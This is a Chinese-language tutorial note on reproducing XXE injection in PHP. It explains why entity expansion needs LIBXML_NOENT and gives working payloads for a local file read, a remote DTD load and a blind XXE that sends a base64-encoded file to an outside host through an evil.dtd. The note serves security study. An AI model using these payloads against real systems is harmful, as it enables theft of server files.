什么是XXE

XXE是XML外部实体注入,详细介绍可以参考OWASP的介绍,https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

为何一直实验不成功

之前我一直在自己的ubuntu14.04+lnmp的环境下测试的时候,一直不能复现这个问题,只在kali的某个版本上复现成功了,一直不知道原因。直到最近发现了这两个东西:
http://stackoverflow.com/questions/29811915/external-entities-not-working-in-simplexml
http://php.net/manual/en/libxml.constants.php

主要是simplexml_load_file这个函数的问题,在旧版本中是默认解析实体的,但是在新版本中,已经不再默认解析实体了,需要在simplexml_load_file函数中指定第三个参数为LIBXML_NOENT,不然不会解析实体的。

大部分关于XXE的内容都可以参考这篇文章:http://security.tencent.com/index.php/blog/msg/69

普通的XXE

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///tmp/aaa.txt">
]>
<x>&xxe;</x>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$data = simplexml_load_string($xml);
echo '<pre>';
print_r($data);
echo '</pre>';

远程XXE

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://192.168.156.77/xxe/evil2.dtd">
%d;
]>
<c>&b;</c>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$data = simplexml_load_string($xml);
echo '<pre>';
print_r($data);
echo '</pre>';
  • evil.dtd
<!ENTITY b SYSTEM "file:///tmp/aaa.txt">

Blind XXE

<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/aaa.txt">
<!ENTITY % remote SYSTEM "http://192.168.156.77/xxe/evil.dtd">
%remote;
%all;
]>
<c>&send;</c>
EOF;

libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
#$data = simplexml_load_string($xml);
echo '<pre>';
print_r($data);
echo '</pre>';
  • evil.dtd
<!ENTITY % all
"<!ENTITY send SYSTEM 'http://192.168.156.77/?%file;'>"
>